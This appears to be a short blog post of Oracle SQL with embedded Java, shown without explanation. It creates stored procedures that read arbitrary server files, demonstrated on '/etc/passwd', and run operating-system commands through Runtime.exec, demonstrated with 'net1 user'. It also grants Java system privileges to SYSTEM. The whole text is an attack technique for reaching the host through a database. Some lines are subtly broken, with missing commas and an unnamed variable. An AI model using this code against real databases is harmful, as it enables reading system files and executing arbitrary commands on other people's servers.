oracle read file context

 1 -- code
 2 set  serveroutput  on
 3 Create   or   REPLACE   AND  RESOLVE JAVA SOURCE NAMED "JAVAREADFILE"
 4 AS
 5 import java.lang. * ;
 6 import java.io. * ;
 7 public  class JAVAREADFILE
 8 {
 9 public  static void readfile(String filename) throws IOException
10 {
11 FileReader f  =  new FileReader(filename);
12 BufferedReader fr  =  new BufferedReader(f);
13 String  text   =  fr.readLine();
14 while ( text   !=   null )
15 {
16 System.out.println( text );
17 text   =  fr.readLine();
18 }
19 fr. close ();
20 }
21 }
22 /
23 Create   or   REPLACE   PROCEDURE  JAVAREADFILEPROC (p_filename  IN   VARCHAR2 )
24 AS  LANGUAGE JAVA
25 NAME  ' JAVAREADFILE.readfile(java.lang.String) ' ;
26 /
27 exec  dbms_java.set_output( 5000 );
28 grant  javasyspriv  to  system;
29 grant  javauserpriv  to  system;
30 exec  JAVAREADFILEPROC( ' /etc/passwd ' )
31 -- code
32

for windows
 1 -- code
 2 create   or   replace   and  compile
 3 java souRCe named "util"
 4 as
 5 import java.io. * ;
 6 import java.lang. * ;
 7 public  class util extends Object
 8 {
 9 public  static  int  RunThis(String args)
10 {
11 Runtime rt  =  Runtime.getRuntime();
12 int  RC  =   - 1 ;
13 try
14 {
15 Process p  =  rt. exec (args);
16 int  bufSize  =   4096 ;
17 BufferedInputStream bis  = new BufferedInputStream(p.getInputStream(), bufSize);
18 int   len ;
19 byte buffer []   =  new byte [ bufSize ] ;
20 //  Echo back what the program spit out
21 while  (( len   =  bis. read (buffer
22 0 , bufSize))  !=   - 1 )
23 System.out.write(buffer,  0 len );
24 RC  =  p. waitFor ();
25 }
26 catch (Exception e)
27 {
28 e.printStackTrace();
29 RC  =   - 1 ;
30 }
31 finally
32 {
33 return  RC;
34 }
35 }
36 }
37 /
38 create   or   replace
39 function  RUN_CMz(p_cmd  in   varchar2 return   number
40 as
41 language java
42 name  ' util.RunThis(java.lang.String) return integer ' ;
43 /
44 create   or   replace   procedure  RC(p_cmd  in   varChar )
45 as
46 number ;
47 begin
48 x : =  RUN_CMz(p_cmd);
49 end ;
50 /
51 variable x  number ;
52 set  serveroutput  on ;
53 exec  dbms_java.set_output( 100000 );
54 grant  javasyspriv  to  system;
55 grant  javauserpriv  to  system;
56 exec  :x: = run_cmz( ' net1 user ' );
57 -- code


你可能感兴趣的:(oracle read file context)